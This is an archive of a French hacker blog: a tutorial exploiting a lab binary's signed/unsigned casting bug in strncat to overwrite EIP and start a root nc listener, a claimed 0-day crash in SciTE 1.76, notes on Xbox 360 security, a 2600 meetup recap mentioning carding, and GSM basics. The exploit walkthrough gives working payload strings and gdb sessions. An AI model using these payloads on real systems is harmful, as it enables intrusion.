Damn it! SYSTEM FAILURE: iTSeeMsThaTWeAreNotEpicnessAtAlL

Pastebin du dump ASM

Pastbin du dump C

Erreur de Casting ou corruption de la stack en milieu hostile

2010-11-14T23:10:00.008+01:00

Salut a tous .

Actuellement en formation réseau , je n'ai pas pu tenir toute mes promesses concernant ce blog , néanmoins ,
je vous propose a présent une petite exploitation en milieu hostile (avec SSP et ASLR).
 Notre objectif du jour sera ,comme souvent, la réécriture d'EIP , grace a un buffer overflow .

Pour ce faire nous exploiterons une faille de type «transtypage» ou «casting» ,puis nous redirigerons le flot d'exécution

en écrasant EIP grace a une erreur dans l'emploi de la fonction C strncat().
Tout d'abord précisons l'environnement de travail:
root[Casting_error]# uname -a && cat /proc/sys/kernel/randomize_va_space 
Linux zenwalk 2.6.33.4 #1 SMP PREEMPT Fri May 14 13:02:33 CEST 2010 i686 Intel(R) Pentium(R) 4
CPU 3.06GHz GenuineIntel GNU/Linux 
2 
A présent compilons le binaire de façon suffisament sure pour rentre cette exploitation intéréssante;
a quoi bon compiler et exploiter des binaires compilés avec -fno-stack-protector pour la énnième fois..
root[Casting_error]#gcc -Wall -Werror-o vuvu vuvu.c

(On remarquera au passage que malgré les arguments passés, GCC ne renvois aucun warnings lors de la compilation,
cela démontre que pour lui tout est correctement codé ('fin si on veux..) et que toute les fonctions sont utilisées selon les usages ) .
Lançons le afin de le tester un peu:
kmkz[Casting_error]# ./vuvu aaaaaaaaaa
Overflow attempt detected!

 Ok, passons aux choses sérieuses:
On remarque ici qu'il ne passe pas la condition , en effet , le code source indique que si argv[1] >= 64 ,
alors on affiche ce message et on quitte le programme.
Pourtant notre but sera d'accéder a la fonction «serveur» afin de le lancer malgré qu'il ne soit,en théorie, pas accéssible .
Comment faire?
Simple me direz-vous , dans un premier temps il faudra bypasser ce contrôle, voici comment on va procéder.
 Pour commencer on lui indiquera un nombre  inférieur  à 64  pour tester sa réaction: 
kmkz[Casting_error]$ ./vuvu `printf "63"``perl -e 'print "A"x82'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

kmkz[Casting_error]$ 
Bon , maintenant voyons voir comment le binaire réagit avec de l'hexa (on sait que  \x3f = 63 , donc \x40 = 64 ) 
on check :
kmkz[Casting_error]# ./vuvu `printf "\x40"``perl -e 'print "A"x82'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Overflow attempt detected!
Ici on voit bien que la tentative d'overflow échoue car la condition n'est pas vérifiée.
Essayons maintenant de bypasser ce controle avec une valeur telle que \x80 (-128) afin de déborder
et d'écraser EIP.
Pourquoi \x80?
Tout simplement une question de Bits :P .
 Il faut garder a l'esprit la vérification faites par la condition , sachant que le type attendu en 3eme argument
 qui est défini par le prototype de la fonction strncat() doit etre size_t ,soit unsigned int , un argument comme 
par exemple \x79 nous empècherait de bypasser ce test car les bits seraient alors organisés comme suit:
128 - 64 - 32 - 16 - 8 - 4 - 2 – 1 (Bits de l'octet)
   0      1     1     1    1    0   0    1 ( Bits)
cela renverrait alors une erreur car la valeur serait bien trop grande ! 
x80 quand a lui est un nombre négatif (de \xFF à \x80) et s'étend sur les 24 premiers Bits quand il est de type signé,
 néanmoins , lorsqu'il est utilisé dans strncat() il devient unsigned , ce qui signifie que les Bits passent a «1»
 lui donnant ainsi une valeur bien plus grande que 64 , du coup cela génère bien un overflow.

Allez , maintenant qu'on connait la théorie , place à la pratique :
kmkz[Casting_error]# ./vuvu `printf "\x80"``perl -e 'print "A"x760'` // 760 soyons fou ...
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Erreur de segmentation  <-- Intéréssant , on a pu enfin obtenir un segfault  :P
Allons voir ça de plus prés avec notre ami GDB:

(gdb) r `printf "\x80"``perl -e 'print "A"x82'`  //82 car c'est ici la limite du segfault
Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82
'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Regardons ce qui se passe au niveau du code assembleur et des registres : 
   ...
    0x08048580 <+106>:  movb   $0x0,-0x8(%ebp) 
   0x08048584 <+110>:   cmpb   $0x3f,-0x9(%ebp) 
   0x08048588 <+114>:   jle    0x80485ab <function_verif+149> 
---Type <return> to continue, or q <return> to quit--- 
   0x0804858a <+116>:   mov    0x80498e0,%eax 
   0x0804858f <+121>:   mov    %eax,%edx 
   0x08048591 <+123>:   mov    $0x8048758,%eax 
   ...
Plaçons quelques points d'arrêts pour pouvoir y voir plus clair:
(gdb) b *function_verif+114
Breakpoint 1 at 0x8048588
(gdb) b *function_verif+116
Breakpoint 7 at 0x804858a

Allez , let's go ! 
(gdb) r `printf "\x80"``perl -e 'print "A"x82 . "\00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82 . "\00"'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Breakpoint 1, 0x08048588 in function_verif ()

On fait un info registers:
(gdb) i r
eax            0x0      0                  --> le nullbyte de buff[0],(mov  $0x0,%eax)
ecx            0x1      1
edx            0xbffff23f       -1073745345
ebx            0x3f     63                 --> notre char initialisé à 64 (moins le nullbyte,soit 63) octets
esp            0xbffff1f0       0xbffff1f0
ebp            0xbffff248       0xbffff248
esi            0x0      0                  --> Nullbyte de buff[65]
edi            0xbffff23c       -1073745348
eip            0x8048588        0x8048588 <function_verif+114>

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x0      0                  --> le nullbyte de buff[0],(mov  $0x0,%eax)
ecx            0xffffff7f       -128       --> notre argument nécéssaire pour l'overflow (\x80)
edx            0xbffff24e       -1073745330
ebx            0x41414141       1094795585
esp            0xbffff250       0xbffff250
ebp            0x41414141       0x41414141
esi            0x0      0                  --> Nullbyte de buff[65]
edi            0x41414141       1094795585
eip            0x41414141       0x41414141

(gdb) i s
#0  0x41414141 in ?? ()
#1  0xbfff0041 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
Ici on se rend bien compte de l'overflowing de la stack, tentons a présent de l'exploiter mauellement puis 
a l'aide de l'exploit codé a cet effet. 

Exploitation via détournement de fonction (un ret-into_PLT serait a envisagé mais j'ai opté pour cette méthode
car elle ne nécéssite que peu de connaissance et est relativement simple a pratir du moment ou EIP est 
overwrité): 
objdump -d vuvu | grep serveur
080485d4 <serveur>:

Voilà , l'exploitation peu avoir lieu afin de lancer le serveur soit-disant inaccéssible contruison le avec l'adresse fixée précédemment.
 82-5 =77 Octets  soit 4 Octets pour l'offset de retour (fonction serveur), 1 pour notre argument hexadécimal et on ajoutera un NullByte 
pour la fin de string (non obligatoire ici , mais plus propre).
(gdb) r `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Breakpoint 1, 0x08048588 in function_verif ()
(gdb) c
Continuing.
[+] Activating server on port : 6666 
Du coté du méchant hacker le serveur est bien lancé , vérifions son fonctionnement et ses droits au cas ou ..: 
...
tcp        0      0 *:6666                  *:*                     LISTEN      root       18892       2786/nc  
...
L'exploitation a bien fonctionné , voyons maintenant avec notre exploit .


Voilà , j'espère que cela vous donnera des idées simpa , 
il me reste plus qu'à vous dire a bientôt pour de nouvelles aventures.
\o>

Links:
Exploit

 
Binaire(source vuvu.c)
Article PDF

Xbox 360 Security : Chapter 1

2010-08-04T17:14:00.002+02:00

Me revoila ;-) .

Depuis plusieurs mois , la 3LRVS avait debute des recherches sur la securite des consoles Xbox360.

Malheureusement , faute de temps et surtout de matos , nous avions mis de coté ces recherches , attendant de pouvoir avancer de façon plus "concrete".

C'est chose faite , la 3LRVS va reprendre du service \o/ , voila donc le moment opportunt pour vous proposer un article condensé sur l'architecture et les bases de la securite sur ce type de machines en attendant nos premiere trouvailles (enfin , espérons le :P ).

Let's go :

[*]Caractéristiques de l'architecture de la Xbox 360 :

- Processeur (XCPU Xenon):

PowerPC G5 d'IBM x64 3-cores cadence a 3.2Ghz (1,6 Ghz en reel) .

Multithreads (2 threads [SMT] par core : 1 en FPU + 1 en VMX)

192Mo de cache total en L1 (level 1 ) et 1Mo en L2 (mode utilisateur)

*Soit: 32Kb en cache (instructions) + 32Kb en cache (donnees) , en Level 1 (kernel mode).

- Memoire vive (RAM): 512 GDDR3 - 700 Mhz partagee avec le cpu Bande passante de 21.6 Go/s

- Architecture : PPC Big Endian (IBM)

( http://fr.wikipedia.org/wiki/Xenon_(processeur) )

[*] Prerequis :

- FPU (Floating Point Unit) :

Est un processeur dédié spécialement conçu pour effectuer des opérations sur des nombres à virgule flottante

( http://fr.wikipedia.org/wiki/Unit%C3%A9_de_calcul_en_virgule_flottante )

- VMX: les VMX implémentent des instructions ternaires spécifiant deux registres source et un registre destination, ainsi qu’un registre de modification optionnel.

Ils sont utilisés notament dans le cadre d’additions ou de multiplications (ici étendu a 128 Bits) a raison de 2 cycles gérant 4 instructions chacun.

( http://fr.wikipedia.org/wiki/AltiVec )

- SIMD: le SIMD regroupe les deux coprocesseurs vectoriels VMX128 (similaires à AltiVec) avec 2 bancs de registres (128×128 bits) pour chaques coeurs.

- SMT (Symetric Material Thread):

Systeme de multi threads symétriques

(2 par coeurs soit 6 threads au total pour les jeux)

- eFuse :

Securite sur le bootloader permettant de tester la présence du firmware proprietaire .

Capacité: 768 bits -

Patche depuis la version (ou MaJ) kernel >= 4552 (afin d'eviter les downgrade , voir la partie "securite").

[+]Schema simplifié du processeur PowerPC (Xenon) d'IBM utilisé:

128 Registres:

Les 32 premiers mappés aux 32 registres(enregistreurs) qui existent dans la génération précédente

de processeurs PowerPC(pour la compatibilité binaire) .

A ce processeur triple coeur viennent s'ajouter les 2 coprocesseur vectoriels (relatif aux données) VMX128 (similaires à AltiVec) avec 2 bancs de registres (128×128 bit) pour chaque coeur.(VMX128 Bits doubles coeurs)

L'utilisateur a en outre la possibilité d'utiliser l'ensemble des registres normaux fournis par le PowerPC et les 32 registres vectoriels fournis par VMX de manière simultanée.

(jeu de 32 registres vectoriels 128 bits permettent alors de stocker 16 entiers 8 bits signés ou non signés, 8 entiers 16 bits signés ou non signés, 4 entiers 32 bits signés ou non signés ou bien 4 nombre réels 32-bit en virgule flottantes)

[*] Sécurité :

Les concepts de sécurité sont identiques à ceux définis sur l'architecture POWER (contrôle des accès au niveau des segments et des pages).

La séparation superviseur / utilisateur se fait au niveau des segments ou des blocs. Chaque processus utilisateur dispose de 16 segments dont deux sont réservés au noyau (accessible en mode superviseur).

À noter cependant qu'il est possible d'effectuer des accès à la mémoire qui ne supportent aucun contrôle. Il suffit pour cela de désactiver tous les mécanismes de traduction d'adresses.

ROM (et SRAM de 64 kbytes) contenant le programme de démarrage Secure Bootloader de Microsoft, et un Hyperviseur de cryptage pour générer des clés

de chiffrement aléatoire.

Ce meme Hyperviseur a pu permettre par exemple une exploitation

(il y en a eu d'autres, et d'autre sont a l'etude)

via une injection au travers de shaders de jeu (King Kong) , permettant ainsi d'executer du code arbitraire directement en mode kernel .

En effet , les vectors shaders utilises benefient d'un acces a la memoire non controles .

(Ce jeu utilise des shaders compilés avec Microsoft D3DX9 Shader Compiler 9.04.91.0000)

Pour ce faire , Crawler360 (la super crapule :P) a du convertir son code en shader puis developper un petit loader utilisable par le port de serie .

Malheureusement , les MaJ du kernel vers la version 4552 (ou superieure) bloquent les tentatives de Downgrades et donc l'exploitation de cette vulnerabilitee de l'Hyperviseur .

Neanmoins , d''autre exploitations de ce type restent a envisager (et font l'objet de recherche active) .

Voila , la petite presentation de la Xbox 360 est maintenant finie , j'espere que ça pourra servir a d'autres , n'hésitez pas a partager vos idées/trouvailles , c'est important .

See you ..

/--------------- RESSOURCES UTILES ---------------\

flux now avaible

2010-08-01T14:26:00.003+02:00

Salut a tous!

Etant donné que je compte balancer pas mal d'anneries ici dans les mois a venir, j'ai décidé de lancer mon flux afin de se tenir informé de l'activitée du blog .

Pour ceux que ça intéresse: link

A trés bientot ;-)

[*] Scite Text Editor 1.76 PoC : Local BoF vulnerability ( 0 - Days )

2010-07-05T22:47:00.000+02:00

Me revoila :P

Je sais que j'ai pas mal zappé ce blog depuis quelques mois , néanmoins j'espere pouvoir m'y remettre entre 2 CTF ..

Bref, osef d'ma vie , place a la présentation , certe rapide , mais néanmoins simpa (bien que trés trés incomplete ) du Buffer Overflow que j'ai eu l'occasion de
découvrir dans la version 1.76 de Scite text Editor .

L'environnement d'audit est un 2.6.31-22 , néanmoins , les essais effectués sur des versions antérieures donne d'autres résultats assez surprenant .
Cet article ne présentera qu'uniquement quelques dumps démontrant la vulnérabilité sans pour autant l'exploiter; l'exploitation aparaitra ici peu etre d'ici pas mal de temps , j'y reviendrait.

Place a quelques dumps issus de GNU gdb (GDB) 7.0

r `perl -e'print"A"x4096 . "\x90\x90\x90\x90"'`
Starting program: /usr/bin/scite `perl -e'print"A"x4096 . "\x90\x90\x90\x90"'`
[Thread debugging using libthread_db enabled]
*** buffer overflow detected ***: /usr/bin/scite terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0x9c7008]
/lib/tls/i686/cmov/libc.so.6[0x9c6040]

/lib/tls/i686/cmov/libc.so.6(__strcpy_chk+0x44)[0x9c53b4]

/usr/bin/scite[0x8082a71]
/usr/bin/scite[0x8083751]
/usr/bin/scite[0x805b59c]
/usr/bin/scite[0x8079382]
/usr/bin/scite[0x8070944]
/usr/bin/scite[0x805dc32]
/usr/bin/scite[0x805dd8a]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0x8fcb56]
/usr/bin/scite[0x8052d41]
======= Memory map: ========
00110000-0012b000 r-xp 00000000 08:01 146 /lib/ld-2.10.1.so
0012b000-0012c000 r--p 0001a000 08:01 146 /lib/ld-2.10.1.so
0012c000-0012d000 rw-p 0001b000 08:01 146 /lib/ld-2.10.1.so
0012d000-0012e000 r-xp 00000000 00:00 0 [vdso]
0012e000-004e6000 r-xp 00000000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004e6000-004e7000 ---p 003b8000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004e7000-004eb000 r--p 003b8000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004eb000-004ed000 rw-p 003bc000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004ed000-004ef000 rw-p 00000000 00:00 0
004ef000-00581000 r-xp 00000000 08:01 262814 /usr/lib/libgdk-x11-2.0.so.0.1800.3
00581000-00583000 r--p 00092000 08:01 262814 /usr/lib/libgdk-x11-2.0.so.0.1800.3
00583000-00584000 rw-p 00094000 08:01 262814 /usr/lib/libgdk-x11-2.0.so.0.1800.3
00584000-0059f000 r-xp 00000000 08:01 263706 /usr/lib/libatk-1.0.so.0.2809.1
0059f000-005a0000 r--p 0001b000 08:01 263706 /usr/lib/libatk-1.0.so.0.2809.1
005a0000-005a1000 rw-p 0001c000 08:01 263706 /usr/lib/libatk-1.0.so.0.2809.1
005a1000-005b9000 r-xp 00000000 08:01 262816 /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3
005b9000-005ba000 r--p 00017000 08:01 262816 /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3
005ba000-005bb000 rw-p 00018000 08:01 262816 /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3
005bb000-005c6000 r-xp 00000000 08:01 264322 /usr/lib/libpangocairo-1.0.so.0.2600.0
005c6000-005c7000 r--p 0000a000 08:01 264322 /usr/lib/libpangocairo-1.0.so.0.2600.0
005c7000-005c8000 rw-p 0000b000 08:01 264322 /usr/lib/libpangocairo-1.0.so.0.2600.0
005c8000-0060e000 r-xp 00000000 08:01 264320 /usr/lib/libpango-1.0.so.0.2600.0
0060e000-0060f000 r--p 00045000 08:01 264320 /usr/lib/libpango-1.0.so.0.2600.0
0060f000-00610000 rw-p 00046000 08:01 264320 /usr/lib/libpango-1.0.so.0.2600.0
00610000-00687000 r-xp 00000000 08:01 262362 /usr/lib/libcairo.so.2.10800.8
00687000-00689000 r--p 00076000 08:01 262362 /usr/lib/libcairo.so.2.10800.8
00689000-0068a000 rw-p 00078000 08:01 262362 /usr/lib/libcairo.so.2.10800.8
0068a000-006c6000 r-xp 00000000 08:01 263053 /usr/lib/libgobject-2.0.so.0.2200.3
006c6000-006c7000 r--p 0003b000 08:01 263053 /usr/lib/libgobject-2.0.so.0.2200.3
006c7000-006c8000 rw-p 0003c000 08:01 263053 /usr/lib/libgobject-2.0.so.0.2200.3
006c8000-006cb000 r-xp 00000000 08:01 263054 /usr/lib/libgmodule-2.0.so.0.2200.3
006cb000-006cc000 r--p 00002000 08:01 263054 /usr/lib/libgmodule-2.0.so.0.2200.3
006cc000-006cd000 rw-p 00003000 08:01 263054 /usr/lib/libgmodule-2.0.so.0.2200.3
006cd000-006cf000 r-xp 00000000 08:01 268014 /lib/tls/i686/cmov/libdl-2.10.1.so
006cf000-006d0000 r--p 00001000 08:01 268014 /lib/tls/i686/cmov/libdl-2.10.1.so
006d0000-006d1000 rw-p 00002000 08:01 268014 /lib/tls/i686/cmov/libdl-2.10.1.so
006d1000-006d5000 r-xp 00000000 08:01 263055 /usr/lib/libgthread-2.0.so.0.2200.3
006d5000-006d6000 r--p 00003000 08:01 263055 /usr/lib/libgthread-2.0.so.0.2200.3
006d6000-006d7000 rw-p 00004000 08:01 263055 /usr/lib/libgthread-2.0.so.0.2200.3
006d7000-006de000 r-xp 00000000 08:01 268027 /lib/tls/i686/cmov/librt-2.10.1.so
006de000-006df000 r--p 00006000 08:01 268027 /lib/tls/i686/cmov/librt-2.10.1.so
006df000-006e0000 rw-p 00007000 08:01 268027 /lib/tls/i686/cmov/librt-2.10.1.so
006e0000-00795000 r-xp 00000000 08:01 972 /lib/libglib-2.0.so.0.2200.3
00795000-00796000 r--p 000b4000 08:01 972 /lib/libglib-2.0.so.0.2200.3
00796000-00797000 rw-p 000b5000 08:01 972 /lib/libglib-2.0.so.0.2200.3
00797000-0087d000 r-xp 00000000 08:01 262987 /usr/lib/libstdc++.so.6.0.13
0087d000-00881000 r--p 000e6000 08:01 262987 /usr/lib/libstdc++.so.6.0.13
00881000-00882000 rw-p 000ea000 08:01 262987 /usr/lib/libstdc++.so.6.0.13
00882000-00889000 rw-p 00000000 00:00 0
00889000-008ad000 r-xp 00000000 08:01 268015 /lib/tls/i686/cmov/libm-2.10.1.so
008ad000-008ae000 r--p 00023000 08:01 268015 /lib/tls/i686/cmov/libm-2.10.1.so
008ae000-008af000 rw-p 00024000 08:01 268015 /lib/tls/i686/cmov/libm-2.10.1.so
008af000-008cb000 r-xp 00000000 08:01 546 /lib/libgcc_s.so.1
008cb000-008cc000 r--p 0001b000 08:01 546 /lib/libgcc_s.so.1
008cc000-008cd000 rw-p 0001c000 08:01 546 /lib/libgcc_s.so.1
008cd000-008e2000 r-xp 00000000 08:01 268025 /lib/tls/i686/cmov/libpthread-2.10.1.so
008e2000-008e3000 r--p 00014000 08:01 268025 /lib/tls/i686/cmov/libpthread-2.10.1.so
008e3000-008e4000 rw-p 00015000 08:01 268025 /lib/tls/i686/cmov/libpthread-2.10.1.so
008e4000-008e6000 rw-p 00000000 00:00 0
008e6000-00a24000 r-xp 00000000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a24000-00a25000 ---p 0013e000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a25000-00a27000 r--p 0013e000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a27000-00a28000 rw-p 00140000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a28000-00a2b000 rw-p 00000000 00:00 0
00a2b000-00b55000 r-xp 00000000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b55000-00b56000 ---p 0012a000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b56000-00b57000 r--p 0012a000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b57000-00b59000 rw-p 0012b000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b59000-00b5a000 rw-p 00000000 00:00 0
00b5a000-00b5c000 r-xp 00000000 08:01 263633 /usr/lib/libXcomposite.so.1.0.0
00b5c000-00b5d000 r--p 00001000 08:01 263633 /usr/lib/libXcomposite.so.1.0.0
00b5d000-00b5e000 rw-p 00002000 08:01 263633 /usr/lib/libXcomposite.so.1.0.0
00b5e000-00b60000 r-xp 00000000 08:01 263637 /usr/lib/libXdamage.so.1.1.0
00b60000-00b61000 rw-p 00001000 08:01 263637 /usr/lib/libXdamage.so.1.1.0
00b61000-00b65000 r-xp 00000000 08:01 263643 /usr/lib/libXfixes.so.3.1.0
00b65000-00b66000 r--p 00003000 08:01 263643 /usr/lib/libXfixes.so.3.1.0
00b66000-00b67000 rw-p 00004000 08:01 263643 /usr/lib/libXfixes.so.3.1.0
00b67000-00bfa000 r-xp 00000000 08:01 263056 /usr/lib/libgio-2.0.so.0.2200.3
00bfa000-00bfb000 r--p 00092000 08:01 263056 /usr/lib/libgio-2.0.so.0.2200.3
00bfb000-00bfc000 rw-p 00093000 08:01 263056 /usr/lib/libgio-2.0.so.0.2200.3
00bfc000-00bfd000 rw-p 00000000 00:00 0
00bfd000-00c24000 r-xp 00000000 08:01 264324 /usr/lib/libpangoft2-1.0.so.0.2600.0
Program received signal SIGABRT, Aborted.
0x0012d422 in __kernel_vsyscall ()

Screen

0x0012d000 // VDSO , ça peut etre utile dans le cas de certaines exploitation

(gdb) x/79s $eip
0x12d422 <>:
0x12d424: ".shstrtab"
0x12d42e: ".hash"
0x12d434: ".dynsym"
0x12d43c: ".dynstr"
0x12d444: ".gnu.version"
0x12d451: ".gnu.version_d"
0x12d460: ".note"
0x12d466: ".eh_frame_hdr"
0x12d474: ".eh_frame"
0x12d47e: ".dynamic"
0x12d487: ".data"
0x12d48d: ".text"
0x12d493: ""

Comme on peux le constater , le programme est stoppé brutalement suite a un débordement de tampon ,
essayons donc d'y voir plus clair :

(gdb) i stack
#0 0x0012d422 in __kernel_vsyscall ()
#1 0x009104d1 in *__GI_raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#2 0x00913932 in *__GI_abort () at abort.c:92
#3 0x00946fc5 in __libc_message (do_abort=2,
fmt=0xa0881d "*** %s ***: %s terminated\n")
at ../sysdeps/unix/sysv/linux/libc_fatal.c:189
#4 0x009c7008 in *__GI___fortify_fail (msg=0xa087c7 "buffer overflow detected")
at fortify_fail.c:32
#5 0x009c6040 in *__GI___chk_fail () at chk_fail.c:29
#6 0x009c536a in __strcat_chk (
dest=0xbfff4734 "/home/kmkz/0Days/Scite_1.76/", 'A' <_dl_fini>,
stack_end=0xbfffb51c) at libc-start.c:220
#14 0x08052d41 in ?? ()

(gdb) i auxv
32 AT_SYSINFO Special system info/entry points 0x12d420
33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x12d000
16 AT_HWCAP Machine-dependent CPU capability hints 0xbfebf3ff
6 AT_PAGESZ System page size 4096
17 AT_CLKTCK Frequency of times() 100
3 AT_PHDR Program headers for program 0x8048034
4 AT_PHENT Size of program header entry 32
5 AT_PHNUM Number of program headers 9
7 AT_BASE Base address of interpreter 0x110000
8 AT_FLAGS Drapeaux 0x0
9 AT_ENTRY Entry point of program 0x8052d20
11 AT_UID Real user ID 1000
12 AT_EUID Effective user ID 1000
13 AT_GID Real group ID 1000
14 AT_EGID Effective group ID 1000
23 AT_SECURE Boolean, was exec setuid-like? 0

25 AT_RANDOM Address of 16 random bytes 0xbfffb66b --> allons voir ce cet offset contient

31 AT_EXECFN File name of executable 0xbfffffed "/usr/bin/scite"
15 AT_PLATFORM String identifying platform 0xbfffb67b "i686"
0 AT_NULL End of vector 0x0

(gdb) x/48x 0xbfffb66b
0xbfffb66b: 0x8a29b215 0x563d86b0 0xe525c77b 0x1a1921ee
0xbfffb67b: 0x36383669 0x00000000 0x00000000 0x7273752f
0xbfffb68b: 0x6e69622f 0x6963732f 0x41006574 0x41414141
0xbfffb69b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6ab: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6bb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6cb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6db: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6eb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6fb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb70b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb71b: 0x41414141 0x41414141 0x41414141 0x41414141
...

Nos "A"

...

0xbffff66b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff67b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff68b: 0x41414141 0x41414141 0x00414141 0x4942524f
0xbffff69b: 0x4f535f54 0x54454b43 0x3d524944 0x706d742f
0xbffff6ab: 0x62726f2f 0x6b2d7469 0x007a6b6d 0x5f485353
0xbffff6bb: 0x4e454741 0x49505f54 0x34313d44 0x47003033

#13 0x008fcb56 in __libc_start_main (main=0x805dca1, argc=2, ubp_av=0xbfffb524,
init=0x8106380, fini=0x8106370, rtld_fini=0x11dd20 <_dl_fini>,
stack_end=0xbfffb51c) at libc-start.c:220

Si on look a quelques offsets pret , on s'apperçois que nos \x41 se retrouve bien sur la stack (grace a stack_end et la ligne :

25 AT_RANDOM Address of 16 random bytes 0xbfffb66b ..... entre autre )

/* Début des \x41 a l'offset de fin de la stack +350 octets (soit 350 octets plus haut , la pile croit vers les adresses basses) */

On peux néanmoins déduire qu'il ne s'agit pas d'un cas classique de stack overflow ( et a priori EIP ne peut etre overwrité).
Une de mes "intuitions" me poussa donc a déposer un breakpoint sur l'offset correspondant au début de la section .dtors puis .ctors :

la .dtors ne donnant rien ...

breakpoint sur .ctors :

r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/scite `perl -e'print"A"x4096'`
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x0810643b in ?? ()
crash a l'appel de la .ctors ??

J'avoue que je suis assez perplexe , et que l'exploitation ne sera pas des plus easy , mais d'autres pistes ont germés depuis ces dumps (ret into entre autre) ;-) et puis c'est tout l'intéret aprés tout .

J'espere que cette petite presentation de mon PoC concernant Scite 1.76 vous donnera envie de voir la suite (un jour peu etre qui sait ).

Link du PoC

Résumé du 2600 Nîmes du Samedi 04 Avril

2009-04-05T16:32:00.000+02:00

Le rendez-vous avait lieu a 14h devant un centre commercial en centre ville le temp que tout le monde soit présent et hop , direction un petit bistro simpa pour lancer ce petit meet .

Les discussions se sont trés vite dirigées sur Hadopi avec une petite vidéo simpathique a l'appuis , l'actualité et les moyens alternatifs concernants le P2P (entre autre), l'avenir de freenet , silc ...enfin , divers moyens de communications et partages sécurisés.

Aprés quelques cafés, nous abordons l'insécurité de certains moyens de paiement en ligne puis au moment ou les bieres arrivent a notre table, retour sur l'anonymat avec une breve présentation sur l'ip spoofing via un petit utilitaire .

Viens ensuite l'architecture des réseaux de téléphonie mobile ,le phreaking gsm nous poursuivons par Hebiko qui nous présente de la doc intéréssante sur le carding .

De fil en aiguille les discours s'enchainent , documents a l'appuis jusqu'a la fin de ce petit meet fort sympathique malgrés le petit comité présent (4personnes).
Enfin ,nous nous dirigeons vers la sortie avec un petit " au mois prochain " qui fait plaisir a entendre pour ce 2k6 Nîmois qui peu etre commencerait a prendre ? Espérons-le :-} .

Réseaux GSM : chapitre II

2009-03-30T16:24:00.000+02:00

Salut , me revoila , je poursuis mon aventure ....

Cette fois -ci nous allons nous intérésser a des choses bien plus passionante (fallait bien avoir les bases avant quand meme , chaque choses en son temp :-P ).

Allez , c'est reparti :

[+] Etude simplifiée des fréquences de travail du GSM :

Le systeme GSM/DCS utilise 2 fréquences :

une autour des 900 MHz (GSM) et l’autre autour de 1,8 GHz (DCS).

Chacune est elle meme divisée en 2 sous bandes servantent l’une pour le transfert d’informations entre le mobile et la station de base ( voie montante ) , et l’autre pour la liaison entre la station de base et le mobile ( voie descendante ) :

# bande EGSM étendue ( bande de largeur totale 35 MHz )
- de 880 à 915 MHz du mobile vers la base (voie montante)
- de 925 à 960 MHz de la base vers le mobile (voie descendante)

+ écart entre les deux fréquences: 45 MHz
- 174 canaux espacés de 200 kHz

# bande DCS ( bande de largeur totale 75 MHz )
- de 1710 à 1785 MHz du mobile vers la base (voie montante)
- de 1805 à 1880 MHz de la base vers le mobile (voie descendante)

+ écart entre les deux fréquences: 95 MHz
- 374 canaux espacés de 200 kHz

L'utilisation de fréquences moins élevées augmenterait sensiblement la portée des stations de base.
Ainsi en 450 MHz, leur portée serait près du double de ce qu'elle serait en 900 MHz.

Ericsson et Nokia travaillent à la mise au point d'une norme GSM fonctionnant en 450 MHz ou en 480 MHz.

Dans la bande 450, les fréquences utilisées seraient 450,4 à 457,6 MHz pour les liaisons montantes (GSM vers station de base) et 460,4 à 467,6 MHz pour les liaisons descendantes.

Une BTS émet en permanence des informations sur son canal BCH (Broadcast Channel appelé aussi voie balise) constituant ainsi un lien permanent entre mobile et station de base à partir de la mise en route du mobile jusqu’à sa mise hors service, qu’il soit en communication ou non.

